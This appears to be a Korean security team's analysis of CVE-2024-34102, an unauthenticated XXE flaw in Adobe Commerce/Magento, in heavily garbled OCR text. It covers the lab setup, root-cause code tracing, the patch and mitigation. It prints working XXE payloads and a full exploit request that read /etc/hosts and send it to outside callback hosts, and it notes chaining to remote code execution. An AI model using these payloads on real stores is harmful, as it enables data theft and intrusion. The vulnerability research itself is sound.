| sf| Xt Community Edition 2.4.7
(192.168.102.74)
Kali Linux
2%}
(192.168.216.129)

Step 1. 273 +4

oozt PC o CVE-2024-34102 FeFdo] E£Ast= Adobe Commerce & “dX]ettt. Composer
install & Fol4 Ax]H Adobe Commerce QI 4%, A" AH=Z W 4L HZ9 composer.lock

utdo] ARG FQ ofiEAelde] WA HRI} 7] 4= A

B9 A9 247 MAL AE Fol7l o] Aok BAYL HAY & ek

fo

"name": "magento/product-community-edition",
"version": "2.4.7",
tdist
ut s zip,
m : "https://repo.magento.com/archives/magento/product-community-edition/magento-product-community-ed

ition-2.4.7.0.zip",
"shasum": "366521fc545daf2b89c33delf873b81589b1d019"

19 3. F<F Adobe Commerce ZAHE 3¢l

3,
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Step 2. FIH HAE

$4, BAAE o4 XML & 9o Aug 7EUh BAE AHt SSRE HoHe 315
Q)5 Agal= SSRFULlity & o]-8ste] JA= =38 4= 9t

« URL: https://ssrf.cvssadvisor.com/

7], ofgfe] New Instance HE

o
r
)
=
fr
Ao
rO
|
o
>
i
uE
oy
ﬂn‘.
rr
au)

t @ SSRFULility - SSRF Explor X

& QO 8t cvssadvisor.com

KaliLinux #8 Kali Tools « Kali Docs ™ Kali Forums o\ Kali NetHunter Exploit-DB Google Hacking DB OffSec

Changelog #

SSRF testing made easy &

Discover and tekt SSRF vulnerabilities faster than ever.

New Instance |

OR GO TO EXISTING INSTANCE

Enter Instance ID

@ Made by beblks

9 4. SSRFUtlity JIARA W

WS Aagso] Tt 22 o XML payload & WHHIES AR
<IENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=FILE_.TO_READ"> <!ENTITY %

param1 "<IENTITY exfil SYSTEM 'https://INSTANCE_URL?%data;'>">
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g A2 ofgfjelt Zo] Customize HTTP Response 7]%5= Fdll /etc/hosts L& ¢l A

XML payload & wtehstes 24T 4 ot

O B htips://ssrf.cvssadvisor.com/instance/pdcGe0c]

KaliLinux § KaliTools @ KaliDocs % KaliForums ex Kali NetHunter Exploit-DB Google Hacking DB OffSec

Your unique subdomain @

P X
Customize HTTP Response
https://pde6e0cT.c5.rs & Customize the HTTP response of your SSRF instance
Status Code
https://pdc6cOcT.ssrf.cvssadvisor.com ) " P
i i o 200
Customize your instance \sts yet

Body

Customize HTTP Response
<IENTITY % data SYSTEM "php://filter/convert.base64-encode
/resource=/etc/hosts">

<IENTITY % param1"<IENTITY exfil SYSTEM 'https://pdc6cOcT7.cors
Instance Info il /dtd.xml?%data;'>">

Headers

pdc6cOc7? O

Access-Control-Allow-Headers: *

Extend Instance by 1 hour

- Clear logs | -

a9 5. 94 XML Hg 43

s

A #2Fst Adobe Commerce AH o] CVE-2024-34102 FoFd2 o]&3) th
=3

POST /rest/all/V1/guest-carts/eqst-test/estimate-shipping-methods HTTP/2

Host: magento.test

Accept: application/json, text/javascript, */* q=0.01

X-Requested-With: XMLHttpRequest

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Content-Type: application/json

Content-Length: 371

mlo
i=)
.
rlo
i
=,
filo

r

A
S

sk

{
"address": {
"totalsReader": {
"collectorList": {
"totalCollector": {
"sourceData": {
"data": "<?xml version=W"1.0%" ?> <IDOCTYPE r [ <!ELEMENT r ANY > <IENTITY % sp SYSTEM
W"https://pdc6c0c7.c5.rs/dtd xmI#W"> %sp; %param1; 1> <r>&exfil;</r>",
"options": 524290
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ol

#2

H#3

#4

Z]OF5 O 7 7ZFO o rc}ro Flolgr A o)
g Feret Aol v 22 sHe 4 vk
11:35:19 e 3 ki T i
AM
;+ QUESTION SECTION:
;pdeBeOc7.cors. IN AAAA
;» opcode: QUERY, status: NOERROR, Id: 39945
11:35:19 ++ flags:; QUERY: 1, ANSWER: O, AUTHORITY: O, ADDITIONAL: O
M 1+ QUESTION SECTION:
;pdcBeOcT.cors. IN AAAA 127.001  localhost
A localhost ip6-localhost ip6-loopback
fe00:0 ip6-localnet
/dtd.xmt 0020 ip6-mcastprefix
11:35:20 : pdc6e0cT.ch.rs H02-1 ip6-allnades
AM : close 022 ip6-alirouters
172.18.0.8 5495ab70c20c
fdtd.xmlAMTISLJAUMCAxCWxvY 2F saGIzd Ao60JEJbGS] YWxob3NOIGlwNi1sb 2NhbGhve3QgaX AZLWxvb3BiYWNrCmZIMDAB OjAJaXAZLY
1:35:21
AM : pdc6clOcT.chrs

: close

19 6. CVE-2024-34102 FoFd o= I3t /etc/hosts o+ &

vulnerable

1% 7. CVE-2024-34102 PoC A3 ¥ /etc/hosts T §Z& 32l

M
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kA Al EAelM= CVE-2024-34102 FoFo] WA st= delE atd oz drg3tnt. Step
< @ 9 ZFHA 2Y opdQl webapixml ¥ dixml 24 Fo AF

d =7 SEEEA] BA4% Step 2 ol HTTP body ¢ JSON d] 1E17}
gto 2 Step 3 o] A= Adobe Commerce oA A=

XXE(XML External Entity In]ectlon) FHAFHE oF1 9 dHEs} BN SEEH= A
A

=28 E5] XXE FeFdo] o]EA vrAs=

Step 1. ¢15-¢lo] H27Hs3s URL &4 9 A 37
Magento2 = 7132 *}J‘m ) Ul REST API S 3] d2d 4
Q= REST API & Aoz eEtds)] ok 288 AHE 4 9}

1) webapi.xml

Magento2 |41 REST API &] ol digt Al 242 2F Ba Wo] webapixml o] FARIH
Magento & AX|3F H=Z W vendor/magento/module—quote/etc/webapi.xml TL-& Za1oHH
ST e xml wele] YREE Y 4 ok

91 webapixml Q9] 7} LE= th2-S —5—5—’533}

@route: APl & 2&% URL &

2|7 _tt.

@service: APl o] &&d" ZY2e HAEE AT 5 Aok 91 dA9 AE
estimatedByExtendedAddress 2H= WA E0f cartld 7} mtetuE 2 Mg Eo] §EHT}.

Qresources: APl & & M-S YA ref & &A% F, anonymous + HE= 74, self +=
IS Rtk 9 dAe] A HE QIFgle]l RE A7 HE 7HESH
resources ‘= =2] ref £A4JFo] anonymous ¢l webapixml & FAGH 2y dEFHOR o2 F

AE7t M2 9F o] R e AU 4 vk

/rest/V1/guest-carts/:cartld/billing-address
/rest/V1/guest-carts/:cartld/estimate-shipping-methods

? A d3Hdeserialization): ¥ C] HPO|ERRE ©lo]g L& F&ot= &Y
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2) di.xml
Magento2 oA webapi.xml 9] service =0 WAH ZeAE T AAQY class Ho] TEEHA]
et dixml 2 AR oA B F o dijt A (preference)= A oldt= 9

gt

rr

et a7 E2 Magento?2 & A H=Z W vendor/magento/module—quote/etc/di.xml TS

=
Auste the 2 xmlwele] ARES ST 4 9L

1)9] webapi.xml o] @2} /rest/V1/guest—carts/eqst—test/estimate—shipping—methods URL A2 - A]
HEAA TEE+= SA = MagentoWQuoteWApiWDataWAddressInterface |9, di.xml of w2} st
ZPA9] §F2 MagentoWQuoteWModelWQuoteWAddress 2212 $&= ofgje}t o] iAot

Output

39 10. getPreference T<rollA] dixml o o=t A== SHAT

# A® AsHinstantiate): SEHAZEE AAE WEE 7
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3) & "IAE &£4
(1) /rest/V1/guest—carts/:cartld/estimate—shipping—methods
DollAl  Aigst <QlSglel A 7lsd HARE 5 estimate—shipping—methods ZZo] of

webapi.xml 9] A4 th-S1t Zrt

e

method="es

I3 11. estimate—shipping—methods ZZ0f gt webapi.xml A%

2)oll A At webapixml oA &%= A9 dixml AF AHE= o3 Erh

i:noNamespaceSchemalocatis

a9 12. $] webapi.xml Ao @2 dixml 43 AR

A F xml TFd AHO R /rest/V1/guest—carts/:cartld/estimate—shipping—methods 2]l HTTP 8°8-&
B A MagentowWQuoteWModelWGuestCartWGuestShippingMethodManagement  E2A9]
estimatedByExtendedAddress WA =7F SEHTE  estimatedByExtendedAddress HIAES] AAFTE=

cheat 2.

I estimateByExtendedAddress{$cartId, Add e $address)

$quoteIdMask = $this->quoteIdMaskFactory->create()->load($cartld,

n %$this->getShipmentEstimationManagement
-»estimateByExtendedAddress( (int) $guoteldMask->getQuoteld(),

1% 13. estimatedByExtended Address HA =

HTTP 84<& BEd 5, Wb B HTTP body #t°] Addressinterface S22 FEio] A=
MEso] Q142 Solts Ag HAT & 9k
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2. /rest/V1/guest—carts/:cartld/billing—address
DA Arst o15glo] A 7Hs3t 2 % billing-address 2ol 3t webapixml ¢ A&

theT} 2t

" method="z

14 14. billing-address A=Zof| it webapi.xml 47

2ol A At webapixml oA TEEE= SHA9] dixml 244 HEE= o2 2

a9 15. 9] webapi.xml A3 @E dixml 4% R

Y F xml o AHO=F /rest/V1/guest—carts/ cartld/billing-address =20 HTTP 832 B
,  MagentoWQuoteWModelWGuestCartWGuestBillingAddressManagement  Z2£9]  assign
WA=t SEH assign HIAES] £AFEE thgT 2ot

Al

n assign{$cartld, \Magento\Quote\Api‘\Data\A ace $address, $useForShipping = false)

>quoteldw ory-» e( )-»load($cartId, * i o
billingAddr : = ign($quoteldMask->getQuote , %address, $usefForShipping);

9 16. assign HAE

HTTP 93& HW 5, b EW HTTP body %ol WMagentoWQuoteWApiWData
WAddresslnterface 222 Q] AFZ HEEo] QfLr Sojrt= ZL delsh & 9t
URL 25 A4 Fei2 Q45 @onz HTTP Body 842 AALs 42 AA AAE 74T

5, A2E AL AT 4 9o

[
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2 FoFHE olsfstr] fIalAl JSON FEfe] Hlo]eE HTTP body 2 8745 EY¥ 1w, Magento?
ol M o @A F2dst ==l tiet A olsi7t €5ttt

Azl A= ol $A§  vendor/magento/Framework/Webapi/ServicelnputProcessor.php U
_createFromArray WA EOA o S dF St offd HAES AAFEE TR} Er

_createFromArray ($className, $data)

is_array($data) ? $data : |

$clarsn me;
$className ) ;
i s_TYPE)

onstructorDatal $c shName, $data);
»create($className, $constructorArgs);

)1

%Y 17. _createFromArray WA E

AEst H F 9 _createFromArray WAE We] getConstructorData WA EE $data W
HEoA $className SeHA0] A2 Q17 Qe=A] E § o]F array Fo=2 Aol Hreot=
S St

>getPreference($className} ;
$preferenceCla ?: $className);

Method('_ A
fe

sset($dataf$parameter->getName() 1)) {
tparameter?,pu $this->typeProcessor->getParanType($parameter);

try 1

5[ $parameter- ame() ] = Sthis->convertValue($data[$parameter->getiame()], $parameterType);

gy 1

a9 18. getConstructorData WA=
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Ol

Stepl oA d@w T APl A=Zo] A9 HTTP body © JSON H&=
MagentoWQuoteWModelWQuoteWAddress Z#2 (05t Address S22) Ao 9HA G2 E3}
5}7] W&o, getConstructorData WA ES 74 Address Za]29 AR QI4ES SHolsjof gict,
g ZHA0 AAFEE SISIHEH, A2V gEd 22 37 79 daES #A e AS

g 4 9k,

=

¢

Y
ibuteFactory,

vConfig,
g $addressConfig,

$itemCollectionFactory,

$attributelist,

19 19. Address 22 223 W A construct) ¢l

i
o
rO

wetd Address 247t $EE W, 9 = W AR 5ol EAEHA e JSON BEgE
ZAske JSON BEWS 7H50] 27+ 242 HUlR, of® 402 HTTP body ©| JSON &35
] o

o] Hepale

o
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1) JSON 27t 229 BAEA Q4 o5 dAotA] = B¢

_createFromArray WA E 9] getConstructor HIAEE Fofl §A3 J[SON ZEo] ZEiA A2t
A4 o]lFd dAste  olge] ¢l& A, _createFromArray HWAEE JSON ZEr9]
setter(set+ B EY) WINEE &6t o5 ARt ol= o HTTP 832 AFaHA St 4

At
POST /rest/V1/guest-carts/eqst-test/estimate-shipping-methods HTTP/2
Host: magento.test
Cookie: XDEBUG_SESSION=PHPSTORM
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
Content-Type: application/json
Content-Length: 44

{
"address": {
"Region": 123
}
}

ZA5HA] A setter 2 EA5h=

9] Ao web ARl Address ZA Y Q14

1
setRegion HIN=E HASEL o5 HdYst= Aa ST 4 QU

on setRegion($region)

this-»setData(self::KEY_REGION, $region);

% 20. Address Z#2 W setRegion HIAE &2l

Debug

Output

O3 21. “set” + JSON HEH HAEE §A § o] 4F
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2) JSON "7} SejA0] FAA Q14 o2 dX|ote AS

_createFromArray HIAE W getConstructorData WA =04 &4 F21 JSON HER o] FaiA
A e olg Y dAske e &RIsHH, siE HlolEE convertValue HIAE= Ho|E <}
dolg g dAHET). convertValue HIAEQ] AAFEE of2a} Zioh

convertValue($data, $type)

sar->isArrayType($type) && isset($datal’
removeSoapItemiode ($data);

>isTypeSimple($type) || $this-stypeProcessor->isTypehny($type)
essnr—\proLvssﬂlmpleﬂndAanvpefidatd, $type);

UNSTRUCTURED ARRAY)

1is-»processComplexTypes ($data, $type);

19 22. convertValue HIAE

convertValue #IAEoA $type ol string @ int &F &2 Yol o8 A= FHA E71E
AA  _createFromArray WA =7 $&glo] ®¥HerETH HHH  convertValue ©f

SHAE AEE A2, $type 2 array U string, int, float, double, boolean ¥} 72 713t EFQIO]
olJE = processComplexTypes WA ER $data 9F $type & Q142 GAFA Het. A4S
processComplexTypes WA= —J AAFEE g A

o processComplexTypes($data, $

$isArrayType = 11s->typeProcessor->isArrayType($type);
is-» createFromArray($type, $data);

$result = is array($data) ? |

$itemType = $this \pePFDCESSGF >getArrayItemType($type);

if (is arra”(ﬁdataﬁ
tor-»>validateComplexArrayType($itemType, $data);
$item) {
s->_createFromArray($itemType, $item);

1 $result;

% 23. processComplexTypes H| A&
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$type o2 ZHA7F HMIGHOHA Array EFYo] ofYIB =R createFromArray WA EZF THA
S&5o] AAHCE  _createFromArray WAEZF TEELE wAo] HrELATh g S

=43t okelet 2.

infosec

39 24. _createFromArray AAZE 374

HAHoZ TEEH _createFromArray WA= convertValue 7} string @olut int - $type
Q142 HFOm createFromArray HIAE §&0] obd $data & getConstructorData WA E 2]
$res array o] A& F o]F _createFromArray WA E W $constructorArgs 2 HIRSHA| HEZ
_createFromArray 9] A9 S&°] Ul Hoh _createFromArray o] A7 TEo] YA =W,
_createFromArray WA E WollA] S$constructorArgs & HigkolH, S WS JA42 €7 &
$className o] w2 AAE AB/dghet.

g

_createFromArray ($classiame, $data)

$data = is array($data) ? $data :

$className

_of($classi EXTENSION ATTRIBUTES TYPE)
})s

$className = substr assha 3, -strlen('I

$constructorArgs = $this-»getConstructorData($className, $data);
$object = $this->objectManager->create($classame, $constructorirgs);

%Y 25. _createFromArray AASE $2 & 4A Y 74
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Step 3. XXE(XML External Entity Injection) F2Fd A

1) XXE(XML External Entity Injection) 24

XXE FoF< oldlistz] faliA= XML of #gh 7]24<Q1 o]si7t "Basiry. XML 2 eXtensible
Markup Language ©] °f2t= dlolg] A% 2 &S flsf 1tHE <dojoy. XML olsfjof] Zagt
T2 8ole o= £t

rlo

20] L Ol Al
<section>
Eff 1 (tag) <2 NS> 2 ELtE O3 Y #+X </section>

<line-break />

AR Ej a2 AlRESlo] ®o| gl= B Eja=

<Greeting>Hello,
22 (element) ZLEALE Bl A2[HE EfATIC R O|RO0{X|=

world.</Greeting>

OlE/3f 22 O|RO|F OtAY FZ, AZf B <img src="EQSTjpg” alt="Experts,

)
A
e AeHE EjO &0 KE Qualified Security Team'/>

£/ (Attribute)

XML olME ofefi ;e Zo] oofso] = vl 7o SEqt . o9
wAlA ARESHE, XML BA 4 ©E oulz siAsHAl "o olAd™ Aofd 7|eE 7|E
ARGStE Akt gol ARgSEY] fIsiA whE A= AIEE (entity) 2Ll Q.

QU E| E] (entity) L}IE}Y = 2 X}
&amp; &
&lt; <
&gt; >
&apos;
&quot;

DTD(XML document type definition)x= XML =42 X, dlolg o 43 2 o8 =
Aolg 4= 9th, DTD & XML &4 A2 HEo| 9J= DOCTYPE 84 o] A=t DTD
A A Hell AdstAY @ F ol JEiE Ao & Sl

o mel WelE Helshs 9R cleEe] HAe SYSTEM 7|9I=S Algecio], dlee e
2 5o sl URL S A4t oAl ofgie} 2k,
‘ <IDOCTYPE foo [ <!ENTITY ext SYSTEM “https://URL_TO_LOAD"> ]> ‘
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2T URL 2 A|AH YHoA ALESHE= opefsl T2 EZ-S ARES 4= ot file:/, php wrapper, jar:
ol I WEA AT MY S XML & sS4 ZAdE E=Hshd, of#fiet Zol php
wrapper 7|52 &8d 54 S dEERE 92 7 289 5 vk

<!DOCTYPE foo [ <!ENTITY ext SYSTEM “php://filter/convert.base64-encode/resource=/etc/hosts”> 1>
<foo>&ext;</foo>

A Zold XML 78 sid ATHE sk gheohd, ¢RdA ofd DID #de 52
YE od JRE 5L 4 Uth Jetc/hosts IS FEok= 1Y XXE 832 =3 £
<?xml version="1.0" ?> <IDOCTYPE r [ <IELEMENT r ANY > <IENTITY %sp SYSTEM
"https://URL_TO_LOAD/dtd.xml"> %sp; %param1; ]> <r>&exfil;</r>

9 XML F2f w2 %sp &5 AEE7F FojH, o] ¢FA o DID & =22 dd.
ole] W FoA TAgsh= o DTD 39| A= o= 2.

<IENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/hosts"> <!ENTITY % parami
"<IENTITY exfil SYSTEM 'https://URL_TO_LOAD?data=%data;">">

P%data = /etc/hosts LS php wrapper 7]1'5& E-83l Base64d FEHZ T3}, %param] =
exfil NEJE]E AolotH, 9] %data & 3f= URL nitu|e|2 2|45 42 AH=2 5-E5tA Hrt

2) XXE(XML External Entity Injection) 524 F<F A|H

Magento2 W XXE FFHe o8 £ g A2 XML FEE A5

WSimpleXMLElement @127} St} Step2 o4 AF3Th vHEel o] _createFromArray HAI = o)A]

olaer AdH YA ($className) 02 HE AR el4-E AfAAHSR FTESHEE, Address

A2 12 RE XML 22 dl4stE WSimpleXMLElement 22471 =2 4 QJE=A] AH,
+

oFgA) B 4 9t

1

¥ rlr

-

N

Address 347 A45E 2T A3k, ofest o] FeLst AFHOR 5EEL FAT & ek,
opzjek - ZElA §EFL2 MagentoWQuoteWModelWQuoteWAddressWTotalWCollector U
SourceData EFle] WMagentoWFrameworkWSimplexmlWElement ¢1 ©]-f-2 &9t}

MagentoWQuoteWModel#QuotettAddress
|
MagentoWQuoteWModelWQuotetttotalsReader
1
MagentoWQuotettModel#QuoteWTotalsCollectorList
1
MagentoWQuote¥#ModelWQuoteWAddressWTotalWCollector

1
WMagentottFramework#Simplexml#Element

%
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Element |mi

9 26. sourceData EFY o] WMagentoWFramework#WSimplexm[#Element ¥-& HAIgH £AFE

Output

3 Zd A= SimpleXMLElement 2145 A&EHta lov =2 SimpleXMLElement S A%}
q

i Xel S
WA S FATS ¢ 4 9ot

a9 28. WMagentoWFrameworkWSimplexmlWElement £AFE W A4 S &9l
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php &4 &4 9] simpleXMLElement + 23 &2 455 A= St

class SimpleXMLElement implements Stringable, Countable, Recursivelterator {

public _ construct(

string $data,
int $options = @,
bool $dataIsURL = false,

string $namespaceOrPrefix =

bool %$isPrefix = false

a9 29. php 3424 A simpleXMLElement Z#A A2} Q14

ServicelnputProc

Cutput

a9 30. gHAR 2—]-01 s 31mpleXMLElement Se& B A5

simpleXMLElement @A A2t 5 $data of oFe]&Ql XML & Hdgotd, XXE FHeFdo]
HEgsith T3 $options A= -9 dEE X3 48 == LIBXML NOENT(2), SlElE]
A 2 L& F7)9 AFe %2 ¢ LIBXML PARSEHUGE(524288) &A1& S
524290(2+524288)2 A4 o= HE & Qlrh
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3) XXE(XML External Entity Injection) &4 exploit

2) A AFT L SAHE TF 5, sourceData 2 ¢Fo]H Q1 XML H#& HYstd F20]

7455ttt XXE B4 53l Jetc/hosts LS §&3H= payload &= th&3}h 2},

POST /rest/V1/guest-carts/eqst-test/estimate-shipping-methods HTTP/2
Host: magento.test

Cookie: XDEBUG_SESSION=PHPSTORM

Accept: application/json, text/javascript, */*; q=0.01

X-Requested-With: XMLHttpRequest

Content-Type: application/json

Content-Length: 401

{
"address": {
"totalsReader": {
"collectorList": {
"totalCollector": {
"sourceData": {

"data": "<?xml version=¥"1.0%" ?> <IDOCTYPE r [ <!ELEMENT r ANY > <!ENTITY % sp SYSTEM
W'https://6fb9a4a787344a9ecd41a35af5d55444.m.pipedream.net/dtd.xml¥" > %sp; %param1; 1>
<r>&exfil;</r>",
"options": 524290

0]% basebd 2 A= /etc/hosts/ AHE EFsH A

Io
r O
sk
+
g/
v

Cockie: YDEBUG SESSION=PEPSTORIN

Accept: application/ison, text/javascript, */%; g=0.01
¥-Pequested-With: XMLHttpRequest

Content-Type: application/json

_ | content-Lengtn: 205

{
"address'": |
"totalsReader™: {
"collectorList™: {
"totalCollector™: {
"gourceData”: |

"data’
"¢?xml version=."1.0%" ?> <!DOCTYPE r [ <'ELEMENT r ANY > <!ENTITY % sp SYSTEM \"https://
455844, n.pipedrean. net/ded.xnl "> %sp; %paraml; 1> <r>eexfil:</r>",
"options™: 524290

wquery {1}
¥ data

POST /rest/Vl/guest-carts/eqst-test/estimate-shipping-methods HTTP/Z
Host: magento. test % & O @

MTI3LJAUMCAXChbvY2FsaGozdAo60]EIbGS j¥xob3NOIGLwNi1sb2NhbGhvc3QgaXAZLxvb3Bivk

EJaXA2LWFsbG5VZGYZCMZmMDIG0] IIaXA2LIWF sbHI vdXR1cnMEMT cy L IzL jAuDAkIMUZmRKYZRIMICK

rCmZ IMDAGOF ATaXA2LkxvY 2F sbmVaCmZmMDABOJATaXAZ LWL jYXNecHI 1Zm14CmZmMDIG0

»url

3% 31. XXE 34& 5 /etc/hosts AR EF
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4) 34 %

(1) *JA A API AH§

API 1% AFEElE JWT o A% 7171 app/etc/env.php T}HA Q] crypt W key @Ho=z AAE]7]
o Zell, admin HFOE APl 7|55 E8F 4 U= HFol AUk

(2) CVE-2024-2961 F°Fd A9

CVE-2024-2961 #°F4-2& GNU C Library 1 glibc oAl TAsH= FoFgoltt, sig gto]H g U
iconv 4S5 ARES o] @ASH=H, 1SO-2022-CN-EXT 2 AR 4 Qe oA sig
dojNlor FALS HE o 28 HHE oW EE9Y 4 Sl Folth did FHHe
php wrapper ©] php://filter & Z-85tH, ofE2AClAY F=& TAAZIAY I HSE

gojzk 5] WL FHster,
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m S ulot

O -

gt gich 9EE AAFCE S Release oA the2E HRS 4 Qlrt

« URL: https://github.com/magento/magento2/releases/tag/2.4.7-p1

2] ol % 7 <ol U AXFEE H] W 5}, FleFdol Egtits!
lib/internal/Magento/Framework/Webapi W _createFromArray HAZAA ok &2 AFS

20| 3719 2L FAF 4 9ok,

...agento2-2.4.7-p1¥libWinternal¥MagentoWFrameworkWWebapiWServicelnputProcessor.php
275 protected function _createFromArray($className, $data)

278

277 $data = is_array($data) ? $data @ [];

278 // convert to string directly to avoid situations when $className |
279 /7 which implements _ toString method |ike #ReflectionObject

280 $classhame = (string) $className;

51 if (is_subclass of($className, WSimpleXMLE|ement: .class)

°32 || is_subclass of ($className, #DOMElement: :class)) {

283 throw new SerializationException(

P84 new Phrase(' Invalid data twpe')

035 s

206

257 Fclass = new ClassBef lect ion($className) ;

a9 32.2.4.7-pl Six]oA F7HE _createFromArray HIAE AF 27

o] A% ZAL XML 9 F&& A48T &+ U&= WSimpleXMLElement, WDOMElement &
o 2 Tom e Aok TEo], “Invalid data type’&

et s 2o A ol §L T4 Fwe WSS, tad 22 o7 =0 A 540
7

i
r 3o

HS $className <l

o slolal 4= 9lr}
Ag AT 4
< v Target: https:y//magento.test /5  HTTP/2
a-=-
Request Response
Pretty Raw Hex (o n = Pretty Raw Hex Rende n =
1 POST /rest/Vl/guest-carts/eqgst-test/estimate-shipping-methods HTTE/Z 1 HTTE/Z 400 Bad Request
2 Host: magento. test 2 Server: nginx/1.24.0
3 Cookie: XDEBUG_SESSTON=PHPSTORM 3 Date: Sun, 11 Aug 2024 13:3Z:02 GMT
1 Accept: application/json, text/javascript, */%; g=0.01 4 Content-Type: application/json; charset=utf-g
5 X-Pequested-With: XMLHttpRequest 5 X-Powered-By: PHP/B.3.E
¢ Content-Type: application/json ¢ Cache-Control: no-store
7 Content-Length: 405 7
8 B
s | "message™:"Invalid data type",
Taddress™: { "trace":null
"totalsReader": ( }
2 "collectorList":{
"totalCollector™: |
"sourceData”: |

"data":
"<ewml wersion='"1.0%" ?> <!DOCTYPE ¥ [ <!ELEMENT r ANY > <!ENT)
ITY % sp SYSTEM ‘"https://

ddtd.xml."> $sp; Sparaml; 1> <r>sexfil;</r>",
"options":5242590

a9 33.2.4.7-pl A o]F

of

ol Aufott A

o
_I [
.
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%) 2e the WA Zo| SAFLE
. isolated patch(ZtEA S E%"P; E= 78 179Xt 2HAE HESC
. maintenance mode 1C}(enable)

£ 4
. cron execution 2 L-Cl(disable)
L3 7|5 HATCH(rotate)
. HAIE H|2CH(flush)

o

. cron execution 2 7AC}(enable)

\‘Chm:bwl'\)—‘

. maintenance mode € £LC}(disable)

2] wLa} A B2 offiel A AT 5 .

URL: https://experienceleague.adobe.com/en/docs/commerce—knowledge—

base/kb/troubleshooting/known-issues—patches—attached/security—update—available—for-adobe—

commerce—apsb24-40-revised—to—include—isolated—patch—for—cve—2024-34102

okt ¥ 2] Adobe Commerce AHEAH= 91 2 g of what of%]

mlru
ogll
&
pauy
o
)
o2
oli
o,
i)
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m 27 AJO|E

» Magento Is Now Adobe Commerce : https://business.adobe.com/blog/the-latest/magento-is-now-part-

of-adobe

» Magento Community vs. Enterprise Edition Comparison : https://www.mgt-

commerce.com/blog/magento-community-vs-enterprise/

« Security update available for Adobe Commerce | APSB24-40 :

https://helpx.adobe.com/security/products/magento/apsb24-40.html

« spacewasp github : https://github.com/spacewasp/public_docs/blob/main/CVE-2024-34102.md

« why nested deserialization is harmful magento xxe cve-2024-34102 :

https://www.assetnote.io/resources/research/why-nested-deserialization-is-harmful-magento-xxe-cve-

2024-34102

« ComsmicSting: critical unauthenticated XXE vulnerability in Adobe Commerce and Magento (CVE-2024-

34102) : https://www.vicarius.io/vsociety/posts/cosmicsting-critical-unauthenticated-xxe-vulnerability-in-

adobe-commerce-and-magento-cve-2024-34102

« Magento?2 how to create custom webapi :
https://magento.stackexchange.com/questions/280966/magento-2-how-to-create-custom-webapi

» Magento2 what case | use di.xml and how to use di.xml for module :

https://magento.stackexchange.com/questions/111845/magento-2-what-case-i-use-di-xml-and-how-to-

use-di-xml-for-module

» php manual simpleXMLElement : https://www.php.net/manual/en/class.simplexmlelement.php

» php manual libxml constants : https://www.php.net/manual/en/libxml.constants.php#constant.libxml-

schema-create

» RFC3470 Guidelines for the Use of Extensible Markup Language(XML) within IETF protocols :

https://datatracker.ietf.org/doc/html/rfc3470#section-2

» Magento?2 github : https://github.com/magento/magento?2

« XML external entity (XXE) Injection : https://portswigger.net/web-security/xxe
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